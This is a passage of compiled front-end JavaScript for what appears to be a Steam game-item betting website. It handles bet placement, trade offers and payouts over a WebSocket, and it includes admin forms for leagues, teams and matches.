$(\".panel.bet-new\").show();\n if (!$(\".panel.animated\").length) {\n $(\".panel.bet-new\").cssAnimation(\"blink flipInX\");\n }\n json = JSON.stringify([\"inventory\", match]);\n window.socket.ws.send(json);\n };\n window.closeBet = function() {\n bet = false;\n items = 0;\n $(\".btn-inventory\").removeClass(\"disabled\");\n $(\".btn-bet-send\").addClass(\"disabled\");\n $(\".btn-bet-send\").off(\"click\");\n $(\".popover\").remove();\n if ($(\".bet-new:visible\")) {\n $(\".bet-new\").cssAnimation(\"blink fadeOut\", function() {\n $(\".bet-new\").hide();\n $(\".user-inventory\").removeAttr(\"style\");\n $(\".user-inventory\").html(\"<div class=\\\"alert alert-default alert-inventory\\\"> <p class=\\\"user-inventory-status\\\"><i class=\\\"fa fa-circle-o-notch fa-spin\\\"></i> Inventory</p> </div>\");\n $(\".bet-inventory .inventory\").html(\"\");\n });\n }\n };\n confirmBet = function(items) {\n var betValue, payoutValue;\n $(\".user-inventory .inventory-wrapper\").addClass(\"inventory-wrapper-disabled\");\n $(\".user-inventory\").append(\"<div class=\\\"btn-bet-buttons\\\"> <p class=\\\"btn-bet-disclaimer\\\"> Press continue if an estimated payout of <strong class=\\\"btn-bet-payout\\\"></strong> satisfies you.<br> By doing that you agree to comply with our <strong>ToS</strong> rules. </p> <div class=\\\"row btn-bet-buttons-row\\\"> <div class=\\\"col-sm-6\\\"> <button class=\\\"btn btn-bet-continue btn-success btn-block\\\"><i class=\\\"fa fa-check\\\"></i> Continue</button> </div> <div class=\\\"col-sm-6\\\"> <button class=\\\"btn btn-bet-cancel btn-danger btn-block\\\"><i class=\\\"fa fa-times\\\"></i> Cancel</button> </div> </div> </div>\");\n betValue = $(\"meta[data-bet-value]\").data(\"bet-value\");\n if (betValue === void 0) {\n betValue = 0;\n }\n $(\".user-inventory .steam-item-disabled\").each(function() {\n return betValue += $(this).data(\"value\");\n });\n payoutValue = betValue * (100 / teams[team][\"bets\"][\"percentage\"]) / 9;\n payoutValue = Math.round(payoutValue * 100) / 100;\n $(\".user-inventory .btn-bet-payout\").text(payoutValue);\n $(\".user-inventory\").moveAnimation(\"up\", $(\".btn-bet-buttons\").height() + 10, false);\n $(\".user-inventory .inventory-wrapper\").filterAnimation(\"blur(2px)\");\n $(\".bet-inventory .steam-item\").off(\"click\");\n $(\".user-inventory .steam-item\").off(\"click\");\n $(\".user-inventory .steam-item\").popover(\"destroy\");\n $(\".btn-bet-cancel\").on(\"click\", function() {\n $(\".user-inventory .steam-item\").on(\"click\", userItemHandler);\n $(\".user-inventory .steam-item\").each(function() {\n if (!$(this).hasClass(\"steam-item-disabled\")) {\n window.initializePopover($(this));\n }\n });\n $(\".bet-inventory .steam-item\").on(\"click\", betItemHandler);\n $(\".user-inventory\").moveAnimation(\"down\", $(\".btn-bet-buttons\").height() + 10, false);\n $(\".user-inventory .inventory-wrapper\").filterAnimation(\"blur(0px)\");\n $(\".btn-bet-buttons\").cssAnimation(\"fadeOut\", function() {\n $(\".btn-bet-buttons\").remove();\n $(\".btn-bet-send\").removeClass(\"disabled\");\n $(\".user-inventory .inventory-wrapper\").removeClass(\"inventory-wrapper-disabled\");\n });\n });\n $(\".btn-bet-continue\").on(\"click\", function() {\n sendBet(items);\n });\n };\n sendBet = function(items) {\n var json;\n $(\".btn-bet-continue\").addClass(\"disabled\");\n $(\".btn-bet-cancel\").addClass(\"disabled\");\n json = JSON.stringify([\"bet\", match, team, items]);\n console.log(json);\n window.socket.ws.send(json);\n $(\".offers .table tbody\").prepend(\"<tr> <td> <i class=\\\"fa fa-gavel\\\"></i> Bet </td> <td></td> <td class=\\\"offer-sending-status\\\"><i class=\\\"fa fa-circle-o-notch fa-spin\\\"></i> Sending</td> </tr>\");\n $(\".offers\").show();\n $(\".bet-new\").cssAnimation(\"blink fadeOut\", function() {\n $(\".bet-new\").hide();\n });\n };\n window.socket.addMessage((function(_this) {\n return function(event) {\n var $item, array, endings, id, index, inventory, item, itemsGroup, name, _i, _len, _ref;\n if (path[1] === \"match\") {\n array = JSON.parse(event.data);\n if (array[0] === \"tradeLink\") {\n if (array[1] === \"new\") {\n if (bet) {\n $(\".user-inventory-status\").html(\"<i class=\\\"fa fa-exclamation-circle\\\"></i> <strong>Oh snap!</strong> Looks like we don't have your Trade URL yet.<br>Please paste it in the box below and press <kbd>Enter</kbd>\");\n $(\".user-inventory\").append(\"<div class=\\\"form-group tradelink-form\\\"> <input class=\\\"form-control tradelink-input\\\" placeholder=\\\"http://steamcommunity.com/tradeoffer/new/?partner=...&token=...\\\" name=\\\"tradelink-input\\\"> </div>\");\n $(\".user-inventory .tradelink-input\").on(\"keyup\", function(e) {\n var json;\n $(this).parent().removeClass(\"has-error\");\n if (e.which === 13) {\n $(\".tradelink-form\").hide();\n $(\".user-inventory-status\").html(\"<i class=\\\"fa fa-circle-o-notch fa-spin\\\"></i> Inventory\");\n json = JSON.stringify([\"tradeLink\", $(\".tradelink-input\").val()]);\n window.socket.ws.send(json);\n }\n });\n $(\".user-inventory .tradelink-input\").on(\"paste\", function(e) {\n var json;\n $(this).parent().removeClass(\"has-error\");\n if (e.which === 13) {\n json = JSON.stringify([\"tradeLink\", $(\".tradelink-input\").val()]);\n window.socket.ws.send(json);\n }\n });\n }\n } else if (array[1] === \"wrong\") {\n $(\".tradelink-form\").addClass(\"has-error\");\n }\n } else if (array[0] === \"inventory\") {\n inventory = array[1];\n if (inventory) {\n $(\".user-inventory .user-inventory-status\").html(\"<i class=\\\"fa fa-check\\\"></i> Inventory\");\n $(\".user-inventory\").append(\"<div class=\\\"inventory-wrapper\\\"> <div class=\\\"inventory\\\"></div> </div>\");\n index = 0;\n $(\".steam-item\").off(\"click\");\n for (_i = 0, _len = inventory.length; _i < _len; _i++) {\n itemsGroup = inventory[_i];\n _ref = itemsGroup[\"items\"];\n for (id in _ref) {\n item = _ref[id];\n name = itemsGroup[\"name\"];\n if (item[\"elevateQuality\"]) {\n if (item[\"elevateQuality\"] === 11) {\n name = \"Stange \" + name;\n }\n if (item[\"elevateQuality\"] === 13) {\n name = \"Haunted \" + name;\n }\n }\n if (item[\"customName\"]) {\n name = item[\"customName\"];\n }\n $item = $(\"<div data-index=\\\"\" + index + \"\\\" data-assetid=\\\"\" + id + \"\\\" data-originid=\\\"\" + item[\"originID\"] + \"\\\" data-quality=\\\"\" + itemsGroup[\"quality\"] + \"\\\" data-name=\\\"\" + itemsGroup[\"name\"] + \"\\\" data-value=\\\"\" + itemsGroup[\"value\"] + \"\\\" class=\\\"steam-item steam-item-selectable select has-popover quality-\" + itemsGroup[\"quality\"] + \"\\\" style=\\\"background-image: url(\\'/images/items/\" + itemsGroup[\"defindex\"] + \".png\\')\\\" draggable=\\\"true\\\"> <span class=\\\"value\\\">\" + Math.floor(itemsGroup[\"value\"] / 9 * 10) / 10 + \"</span> </div>\");\n $item.on(\"click\", userItemHandler);\n window.initializePopover($item);\n $(\".user-inventory .inventory\").append($item);\n index += 1;\n }\n }\n $(\".btn-bet-send\").on(\"click\", function() {\n $(this).addClass(\"disabled\");\n items = [];\n $(\".user-inventory .steam-item-disabled\").each(function() {\n return items.push($(this).data(\"assetid\"));\n });\n return confirmBet(items);\n });\n $(\".user-inventory\").moveAnimation(\"up\", 69, false);\n } else {\n if (array[2] === \"steam\") {\n $(\".user-inventory-status\").html(\"<i class=\\\"fa fa-times\\\"></i> Couldn't load your inventory. <a href=\\\"http://steamcommunity.com/profiles/\" + steamID + \"/edit/settings\\\">Ensure that it's public</a> and try again in a few minutes. Keep in mind that synchronizing this information with Steam usually takes some time, so be patient. It's also possible that Steam API is down.</a>\");\n } else if (array[2] === \"bots\") {\n $(\".user-inventory-status\").html(\"<i class=\\\"fa fa-times\\\"></i> All bots are occupied at the moment. Please try betting later.\");\n } else if (array[2] === \"steamRepDown\") {\n $(\".user-inventory-status\").html(\"<i class=\\\"fa fa-times\\\"></i> SteamRep seems to be down. Please try betting later.\");\n } else if (array[2] === \"steamRep\") {\n $(\".user-inventory-status\").html(\"<p><i class=\\\"fa fa-times\\\"></i> You're marked on SteamRep as a scammer and we don't want to have anything to do with you.</p> <p>If you think that this is a mistake make an appeal on their forums.</p>\");\n } else if (array[2] === \"betsLimit\") {\n $(\".user-inventory-status\").html(\"<i class=\\\"fa fa-times\\\"></i> It looks like we've already hit the limit of bets for this match.\");\n }\n }\n } else if (array[0] === \"tradeOffer\") {\n if (bet) {\n if (array[1] === \"queue\") {\n endings = [\"th\", \"st\", \"nd\", \"rd\"];\n window.notification(\"danger\", \"queue\", \"<i class=\\\"fa fa-circle-o-notch fa-spin\\\"></i> Please be patient as you're \" + array[2] + (array[2][(array[2] % 100 - 20) % 10] || endings[array[2] % 100] || endings[0]) + \" in the queue.\");\n } else if (array[1] === false) {\n if (array[2] === \"limit\") {\n window.notification(\"danger\", \"bet\", \"<strong>Oh snap!</strong> You've reached the maximum number of items you may bet on this match.<br>Please try betting on a different game.\", true);\n }\n if (array[2] === \"betsLimit\") {\n window.notification(\"danger\", \"bet\", \"<strong>Oh snap!</strong> It looks like we've already hit the limit of bets for this match.\");\n } else if (array[2] === \"team\") {\n window.notification(\"danger\", \"bet\", \"You didn't think you're allowed to bet on your own team, did you?\", true);\n } else if (array[2] === \"offer\") {\n window.notification(\"danger\", \"bet\", \"<strong>Oh snap!</strong> There is another offer being processed already.<br>Please accept or decline it if you want to bet on a different match.\", true);\n } else if (array[2] === \"missing\") {\n window.notification(\"danger\", \"bet\", \"<strong>Oh snap!</strong> One or more items you wanted to bet are missing from your inventory.<br>Please try betting again in two minutes.\", true);\n } else if (array[2] === \"error\") {\n window.notification(\"danger\", \"bet\", \"<strong>Oh shoot!</strong> Couldn't send the Trade Offer, <a href=\\\"/settings/\\\">please make sure that your Trade URL is correct</a> and try again in a few minutes.\", true);\n }\n $(\".notification-queue\").remove();\n Turbolinks.visit(location.href);\n }\n } else if (payout) {\n if (array[1] === false) {\n $(payout).html(\"<i class=\\\"fa fa-times-circle\\\"></i> Payout\");\n window.notification(\"danger\", \"payout\", \"<strong>Oh shoot!</strong> Couldn't send the Trade Offer, <a href=\\\"/settings/\\\">please make sure that your Trade URL is correct</a> and try again in a few minutes.\", true);\n payout = false;\n } else {\n $(payout).parent().append(\"<a href=\\\"http://steamcommunity.com/tradeoffer/\" + array[1] + \"\\\" target=\\\"_blank\\\" class=\\\"btn btn-md btn-primary btn-payout\\\"><i class=\\\"fa fa-refresh\\\"></i> Trade</a>\");\n $(payout).remove();\n payout = false;\n }\n }\n } else if (array[0] === \"bet\") {\n if (array[1] === \"accepted\") {\n if (array[2] === match) {\n Turbolinks.visit(window.location.href);\n }\n }\n } else if (array[0] === \"payout\") {\n if (array[1] === false) {\n $(\".btn-payout\").html(\"<i class=\\\"fa fa-times-circle\\\"></i> Payout\");\n payout = false;\n } else if (array[1] === \"processing\") {\n $(\".btn-payout\").html(\"<i class=\\\"fa fa-spin fa-circle-o-notch\\\"></i> Payout\");\n } else if (array[1] === \"accepted\") {\n if (array[2] === match) {\n Turbolinks.visit(window.location.href);\n }\n }\n }\n }\n };\n })(this));\n $(\".btn-inventory\").on(\"click\", function() {\n team = $(this).data(\"team\");\n match = $(this).data(\"match\");\n limit = $(this).data(\"limit\");\n return makeBet(team, match, limit);\n });\n $(\".btn-payout\").on(\"click\", function() {\n var json;\n $(\".notification-payout\").remove();\n bet = false;\n payout = this;\n $(payout).html(\"<i class=\\\"fa fa-spin fa-circle-o-notch\\\"></i> Payout\");\n json = JSON.stringify([\"payout\", match]);\n window.socket.ws.send(json);\n });\n }\n });\n });\n\n}).call(this);\n\n(function() {\n $(function() {\n $(document).on('page:before-change', function() {});\n $(document).on('page:load page:restore', function() {\n var assignEvents, block, infiniteBetsSummary, path;\n window.socket.addMessage((function(_this) {\n return function(event) {\n var array;\n array = JSON.parse(event.data);\n if (array[0] === \"bets\") {\n return window.notification(\"default\", \"pending-bets\", \"<p>You need to collect items for \" + array[1] + \" bets.</p>\", true);\n }\n };\n })(this));\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"bets\") {\n assignEvents = function() {\n $(\".bet-summary\").on(\"click\", function(e) {\n if (!($(\"button\").is(e.target) || $(\"a\").is(e.target))) {\n window.open(\"http://\" + window.location.host + \"/match/\" + $(this).data(\"id\") + \"/\", \"_self\");\n }\n });\n $(\".btn-payout\").on(\"click\", function() {\n Turbolinks.visit(\"https://\" + window.location.host + \"/match/\" + $(this).data(\"id\") + \"/\");\n $(document).one('page:change', function() {\n $(\".btn-payout\").trigger(\"click\");\n });\n });\n $(\".btn-inventory\").on(\"click\", function() {\n var team;\n Turbolinks.visit(\"https://\" + window.location.host + \"/match/\" + $(this).data(\"match\") + \"/\");\n team = $(this).data(\"team\");\n $(document).one('page:change', function() {\n $(\".btn-inventory[data-team=\" + team + \"]\").trigger(\"click\");\n });\n });\n };\n assignEvents();\n block = false;\n infiniteBetsSummary = function() {\n if ($(window).scrollTop() > $(document).height() - $(window).height() - 300 && block === false) {\n block = true;\n $.ajax({\n url: \"/ajax/betsSummary/offset/\" + $(\".bet-summary\").length + \"/\",\n success: function(html) {\n if (/\\S/.test(html)) {\n $(\".bets-summaries\").append(html);\n infiniteBetsSummary();\n assignEvents();\n } else {\n $(window).off(\"scroll\");\n }\n block = false;\n }\n });\n }\n };\n $(window).on(\"scroll\", infiniteBetsSummary);\n }\n });\n });\n\n}).call(this);\n\n(function() {\n $(function() {\n var dataBody, dataTitle, loaded, replacePage;\n $(\"#progress-bar-js\").css(\"width\", \"20%\");\n loaded = 0;\n dataBody = void 0;\n dataTitle = void 0;\n $.getJSON(\"/ajax/auth/\", function(data) {\n $(\"#progress-bar-bot\").css(\"width\", \"10%\");\n window.bot = data.bot;\n window.userID = data.userID;\n window.steamID = data.steamID;\n window.UUID = data.UUID;\n window.initializeSocket();\n if (window.bot) {\n window.socket.addOpen(function() {\n $(\"#progress-bar-bot\").css(\"width\", \"30%\");\n loaded += 1;\n replacePage();\n });\n window.socket.connect();\n } else {\n loaded += 1;\n window.notification(\"danger\", \"bot\", \"Couldn't reach the WebSocket.<br><i class=\\\"fa fa-circle-o-notch fa-spin\\\"></i> <span class=\\\"notification-bot-task\\\">Reconnecting<span class=\\\"reconnect-timer\\\"> in <span class=\\\"reconnect-countdown\\\"></span></span></span>.\", false);\n window.countdownSocket(10);\n $(\"#progress-bar-bot\").css(\"width\", \"30%\");\n replacePage();\n }\n });\n $(\"#progress-bar-web\").css(\"width\", \"20%\");\n $.get(location.href, function(data) {\n $(\"#progress-bar-web\").css(\"width\", \"50%\");\n loaded += 1;\n $(document).trigger('page:fetch');\n dataBody = data.match(/<\\s*body.*>[\\s\\S]*<\\s*\\/body\\s*>/ig).join(\"\");\n dataTitle = data.match(/<\\s*title.*>[\\s\\S]*<\\s*\\/title\\s*>/ig).join(\"\");\n replacePage();\n });\n replacePage = function() {\n var json, notifications;\n if (loaded < 2) {\n return false;\n }\n if (window.bot) {\n json = JSON.stringify([\"auth\", window.UUID, new Fingerprint().get()]);\n window.socket.ws.send(json);\n }\n notifications = $(\".notifications\").html();\n document.body.outerHTML = dataBody;\n $(\".notifications\").html(notifications);\n $(\".notification\").removeClass(\"animated fadeInUp\");\n $(\"title\").replaceWith(dataTitle);\n $(document).trigger('page:change');\n $(document).trigger('page:load');\n };\n return $(document).ajaxError(function(event, jqxhr, settings, thrownError) {\n if (location.href === settings.url) {\n console.log(thrownError);\n if (thrownError === \"Internal Server Error\") {\n $(\".progress\").replaceWith(\"<div class=\\\"alert alert-danger\\\" style=\\\"margin-top: 30px; margin-bottom: 30px;\\\"> <strong>500 Internal Server Error</strong><br> Our server went kinda nuts.<br> Want to <strong><a href=\\\"/home/\\\">go back home</a></strong>? </div>\");\n } else if (thrownError === \"Not Found\") {\n $(\".progress\").replaceWith(\"<div class=\\\"alert alert-danger\\\" style=\\\"margin-top: 30px; margin-bottom: 30px;\\\"> <strong>404 Not found</strong><br> The page you were looking went missing.<br> Want to <strong><a href=\\\"/home/\\\">go back home</a></strong>? </div>\");\n } else if (thrownError === \"Forbidden\") {\n $(\".progress\").replaceWith(\"<div class=\\\"alert alert-danger\\\" style=\\\"margin-top: 30px; margin-bottom: 30px;\\\"> <strong>403 Forbidden</strong><br> You are not authorized to view this page.<br> We'll take you <strong>home</strong> in a moment. </div>\");\n window.setTimeout((function() {\n Turbolinks.visit(\"/home/\");\n }), 1500);\n }\n $(\".alert\").cssAnimation(\"zoomIn blink\");\n }\n });\n });\n\n $(document).on('page:before-unload', function() {\n window.socket.clearMessages();\n $(\"*\").off(\"click\");\n $(window).off(\"scroll\");\n });\n\n}).call(this);\n\n(function() {\n $(function() {\n $(document).on('page:before-change', function() {});\n $(document).on('page:load page:restore', function() {\n var assignEvents, block, infiniteHome, path;\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"home\") {\n assignEvents = function() {\n $(\".match\").on(\"click\", function(e) {\n if (!$(\"button\").is(e.target)) {\n Turbolinks.visit(\"https://\" + window.location.host + \"/match/\" + $(this).data(\"id\") + \"/\");\n }\n });\n $(\".btn-inventory\").on(\"click\", function(e) {\n var team;\n Turbolinks.visit(\"https://\" + window.location.host + \"/match/\" + $(this).data(\"match\") + \"/\");\n team = $(this).data(\"team\");\n $(document).one('page:change', function() {\n return $(\".btn-inventory[data-team=\" + team + \"]\").trigger(\"click\");\n });\n });\n };\n assignEvents();\n block = false;\n infiniteHome = function() {\n if ($(window).scrollTop() > $(document).height() - $(window).height() - 300 && block === false) {\n block = true;\n $.ajax({\n url: \"/ajax/matches/offset/\" + $(\".match\").length + \"/\",\n success: function(html) {\n if (/\\S/.test(html)) {\n $(\".matches\").append(html);\n infiniteHome();\n assignEvents();\n } else {\n $(window).off(\"scroll\");\n }\n block = false;\n }\n });\n }\n };\n $(window).on(\"scroll\", infiniteHome);\n window.socket.addMessage((function(_this) {\n return function(event) {\n var array;\n array = JSON.parse(event.data);\n if (array[0] === \"matchStart\") {\n window.notification(\"info\", \"match\", \"<a href=\\\"/match/\" + array[1] + \"/\\\"><strong>Ready up!</strong> \" + array[2] + \" vs. \" + array[3] + \" has just started! Prepare some popcorn and go to the match page to watch the game.</a>\");\n }\n };\n })(this));\n }\n });\n });\n\n}).call(this);\n\n(function() {\n window.initializePopover = function($item) {\n var assetID, content, level, name, originID, path, quality, value;\n quality = $item.data(\"quality\");\n name = $item.data(\"name\");\n level = $item.data(\"level\");\n value = $item.data(\"value\");\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"manage\") {\n assetID = $item.data(\"assetid\");\n originID = $item.data(\"originid\");\n }\n content = \"\";\n if (level) {\n content += \"<p>Level \" + level + \"</p>\";\n }\n if (value) {\n content += \"<p>\" + Math.floor(value / 9 * 100) / 100 + \" refined</p>\";\n }\n if (assetID) {\n content += \"<p class=\\\"text-muted\\\"><small><i class=\\\"fa fa-clock-o\\\"></i> \" + assetID + \"</small></p>\";\n }\n if (originID) {\n content += \"<p class=\\\"text-muted\\\"><small><i class=\\\"fa fa-history\\\"></i> \" + originID + \"</small></p>\";\n }\n $item.popover({\n \"html\": true,\n \"placement\": \"bottom\",\n \"title\": \"<span class='quality-\" + quality + \"'>\" + name + \"</span>\",\n \"content\": content,\n \"trigger\": \"hover\",\n \"container\": \"body\",\n \"delay\": {\n \"show\": 300,\n \"hide\": 100\n }\n });\n };\n\n $(function() {\n $(document).on('page:before-change', function() {});\n $(document).on('page:load page:restore', function() {\n $(\".steam-item\").each(function() {\n if ($(this).hasClass(\"has-popover\")) {\n window.initializePopover($(this));\n }\n });\n });\n });\n\n}).call(this);\n\n(function() {\n $(function() {\n $(document).on('page:before-change', function() {});\n $(document).on('page:load page:restore', function() {\n var basePoints, match, odd, path, ticks;\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"manage\") {\n if ($(\".removeLeague-button\").length > 0) {\n $(\".removeLeague-button\").on(\"click\", function() {\n var id;\n id = $(this).data(\"id\");\n $(\"#removeLeague-confirm\").off(\"click\");\n $(\"#removeLeague-confirm\").on(\"click\", function() {\n $.ajax({\n url: \"/manage/leagues/remove/\" + id,\n context: document.body\n }).done(function(data) {\n var array;\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(\"http://\" + window.location.host + \"/manage/leagues\");\n }), 0);\n } else {\n $(\"#removeLeague-modal .modal-body\").html(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(\"http://\" + window.location.host + \"/manage/leagues\");\n }), 3000);\n }\n });\n });\n $(\"#removeLeague-modal\").modal(\"show\");\n });\n }\n if ($(\".editLeague-button\").length > 0) {\n $(\".editLeague-button\").on(\"click\", function() {\n var array;\n array = $(this).data(\"json\");\n $('#editLeague-form [name=\"name\"]').val(array[\"name\"]);\n $('#editLeague-form .btn').removeClass('active');\n $('#editLeague-form [value=\"' + array[\"type\"] + '\"]').prop(\"checked\", true);\n $('#editLeague-form [value=\"' + array[\"region\"] + '\"]').prop(\"checked\", true);\n $('#editLeague-form [value=\"' + array[\"type\"] + '\"]').parent().addClass(\"active\");\n $('#editLeague-form [value=\"' + array[\"region\"] + '\"]').parent().addClass(\"active\");\n $('#editLeague-form [name=\"accentColour\"]').val(array[\"colour\"]);\n $('#editLeague-form [name=\"detailsColour\"]').val(array[\"detailsColour\"]);\n $('#editLeague-form [name=\"textColour\"]').val(array[\"textColour\"]);\n $(\"#editLeague-modal\").modal(\"show\");\n $('#editLeague-form').submit(function() {\n $.ajax({\n type: \"POST\",\n url: \"/manage/leagues/edit/\" + array[\"id\"] + \"/\",\n data: $(this).serialize(),\n context: document.body,\n success: function(data) {\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(\"http://\" + window.location.host + \"/manage/leagues\");\n }), 0);\n } else {\n $(\"#editLeague-modal .modal-body\").html(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(\"http://\" + window.location.host + \"/manage/leagues\");\n }), 3000);\n }\n }\n });\n return false;\n });\n });\n }\n if ($(\".removeTeam-button\").length > 0) {\n $(\".removeTeam-button\").on(\"click\", function() {\n var id;\n id = $(this).data(\"id\");\n $(\"#removeTeam-confirm\").off(\"click\");\n $(\"#removeTeam-confirm\").on(\"click\", function() {\n $.ajax({\n url: location.href + \"remove/\" + id + \"/\",\n context: document.body\n }).done(function(data) {\n var array;\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 0);\n } else {\n $(\"#removeTeam-modal .modal-body\").html(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 3000);\n }\n });\n });\n $(\"#removeTeam-modal\").modal(\"show\");\n });\n }\n if ($(\".editTeam-button\").length > 0) {\n $(\".editTeam-button\").on(\"click\", function() {\n var array;\n array = $(this).data(\"json\");\n $('#editTeam-form [name=\"name\"]').val(array[\"name\"]);\n $('#editTeam-form [name=\"short\"]').val(array[\"short\"]);\n $('#editTeam-form [name=\"league\"]').val(array[\"league\"]);\n $('#editTeam-form [name=\"country\"]').val(array[\"country\"]);\n $('#editTeam-form [name=\"link\"]').val(array[\"link\"]);\n $(\"#editTeam-modal\").modal(\"show\");\n $('#editTeam-form').submit(function() {\n $.ajax({\n type: \"POST\",\n url: location.href + \"edit/\" + array[\"id\"] + \"/\",\n data: $(this).serialize(),\n context: document.body,\n success: function(data) {\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 0);\n } else {\n $(\"#editTeam-modal .modal-body\").html(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 3000);\n }\n }\n });\n return false;\n });\n });\n }\n if ($(\"#team-search\").length > 0) {\n $(\"#team-search\").on(\"keyup\", function() {\n if ($(\"#team-search\").val().length) {\n $.getJSON(\"/api/teams/name/\" + $(\"#team-search\").val() + \"/limit/5/\", function(data) {\n var $teamLink, team, _i, _len, _results;\n if ($(\".search .list-group\").length === 0) {\n $(\".search\").append(\"<div class=\\\"list-group\\\"></div>\");\n } else {\n $(\".search .list-group\").empty();\n }\n _results = [];\n for (_i = 0, _len = data.length; _i < _len; _i++) {\n team = data[_i];\n if ($(\"#teams-list input[value=\\\"\" + team[\"id\"] + \"\\\"]\").length === 0) {\n $teamLink = $(\"<a class=\\\"list-group-item\\\" href=\\\"#/\\\" data-id=\\\"\" + team[\"id\"] + \"\\\" data-name=\\\"\" + team[\"name\"] + \"\\\" data-league=\\\"\" + team[\"league\"][\"name\"] + \"\\\"><i class=\\\"fa fa-user\\\"></i> \" + team[\"name\"] + \" (\" + team[\"league\"][\"name\"] + \")</a>\");\n $teamLink.on(\"click\", function() {\n var $teamElement;\n $(\".search .list-group\").remove();\n $teamElement = $(\"#teams-list input[value=\\\"\" + $(this).data(\"id\") + \"\\\"]\");\n $(\"#teams-list\").append(\"<li class=\\\"list-group-item list-group-item-info\\\">\" + $(this).data(\"name\") + \" (\" + $(this).data(\"league\") + \") <input class=\\\"pull-right\\\" type=\\\"checkbox\\\" name=\\\"team\\\" value=\\\"\" + $(this).data(\"id\") + \"\\\" checked> </li>\");\n $(\"#team-search\").val(\"\");\n });\n }\n _results.push($(\".search .list-group\").append($teamLink));\n }\n return _results;\n });\n } else {\n $(\".search .list-group\").remove();\n }\n });\n }\n if ($(\"#addMatch-modal\").length > 0) {\n ticks = 5;\n basePoints = 0;\n odd = 1;\n $(\"#addMatch-modal [name=type]\").on(\"change\", function() {\n var advantage, pointsGiven, team;\n if ($(\"#addMatch-modal [name=type]\").val() === \"0\") {\n ticks = 0;\n basePoints = 0;\n odd = 0;\n } else if ($(\"#addMatch-modal [name=type]\").val() === \"1\") {\n ticks = 2;\n basePoints = 0;\n odd = 0;\n } else if ($(\"#addMatch-modal [name=type]\").val() === \"2\") {\n ticks = 5;\n basePoints = 0;\n odd = 1;\n } else if ($(\"#addMatch-modal [name=type]\").val() === \"3\") {\n ticks = 2;\n basePoints = 5;\n odd = 1;\n }\n advantage = $(\"#addMatch-modal [name=advantage]\").attr(\"min\", ticks * -1);\n advantage = $(\"#addMatch-modal [name=advantage]\").attr(\"max\", ticks);\n advantage = $(\"#addMatch-modal [name=advantage]\").val();\n if (advantage === \"0\") {\n return $(\"#addMatch-modal [for=advantage]\").text(\"No spread\");\n } else {\n if (advantage > 0) {\n team = \"Team 2\";\n } else {\n team = \"Team 1\";\n }\n pointsGiven = Math.abs(advantage) + basePoints;\n if (pointsGiven % 2 === odd) {\n pointsGiven -= 0.5;\n }\n return $(\"#addMatch-modal [for=advantage]\").text(pointsGiven + \" for \" + team);\n }\n });\n $(\"#addMatch-modal [name=advantage]\").on(\"change\", function() {\n var advantage, pointsGiven, team;\n advantage = $(\"#addMatch-modal [name=advantage]\").val();\n if (advantage === \"0\") {\n $(\"#addMatch-modal [for=advantage]\").text(\"No spread\");\n } else {\n if (advantage > 0) {\n team = \"Team 2\";\n } else {\n team = \"Team 1\";\n }\n pointsGiven = Math.abs(advantage) + basePoints;\n if (pointsGiven % 2 === odd) {\n pointsGiven -= 0.5;\n }\n $(\"#addMatch-modal [for=advantage]\").text(pointsGiven + \" for \" + team);\n }\n });\n }\n if ($(\".removeMatch-button\").length > 0) {\n $(\".removeMatch-button\").on(\"click\", function() {\n var id;\n id = $(this).data(\"id\");\n $(\"#removeMatch-confirm\").off(\"click\");\n $(\"#removeMatch-confirm\").on(\"click\", function() {\n $.ajax({\n url: location.href + \"remove/\" + id + \"/\",\n context: document.body\n }).done(function(data) {\n var array;\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 0);\n } else {\n $(\"#removeMatch-modal .modal-body\").html(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 3000);\n }\n });\n });\n $(\"#removeMatch-modal\").modal(\"show\");\n });\n }\n if ($(\"#addMatch-form\").length > 0) {\n $('#addMatch-form [name=\"streamTip\"]').on(\"change\", function() {\n $('#addMatch-form [name=\"stream\"]').val($(this).val());\n });\n $('#addMatch-form [name=\"stream\"]').on(\"keyup\", function() {\n var $element, value;\n value = $(this).val();\n $element = $('#addMatch-form [name=\"streamTip\"][value=\"' + value + '\"]');\n if ($element.length) {\n $element.parent().button(\"toggle\");\n } else {\n $element = $('#addMatch-form .active [name=\"streamTip\"]');\n $element.prop(\"checked\", false);\n $element.parent().removeClass(\"active\");\n }\n });\n }\n if ($('#editMatch-form').length > 0) {\n $('#editMatch-form [name=\"streamTip\"]').on(\"change\", function() {\n $('#editMatch-form [name=\"stream\"]').val($(this).val());\n });\n $('#editMatch-form [name=\"stream\"]').on(\"keyup\", function() {\n var $element, value;\n value = $(this).val();\n $element = $('#editMatch-form [name=\"streamTip\"][value=\"' + value + '\"]');\n if ($element.length) {\n $element.parent().button(\"toggle\");\n } else {\n $element = $('#editMatch-form .active [name=\"streamTip\"]');\n $element.prop(\"checked\", false);\n $element.parent().removeClass(\"active\");\n }\n });\n $(\".editMatch-button\").on(\"click\", function() {\n var match, writeup;\n match = $(this).data(\"json\");\n $('#editMatch-form [name=\"stream\"]').val(match[\"stream\"]);\n $('#editMatch-form [name=\"streamTip\"][value=\"' + match[\"stream\"] + '\"]').parent().button(\"toggle\");\n $('#editMatch-form [name=\"time\"]').val(match[\"time\"]);\n $('#editMatch-form 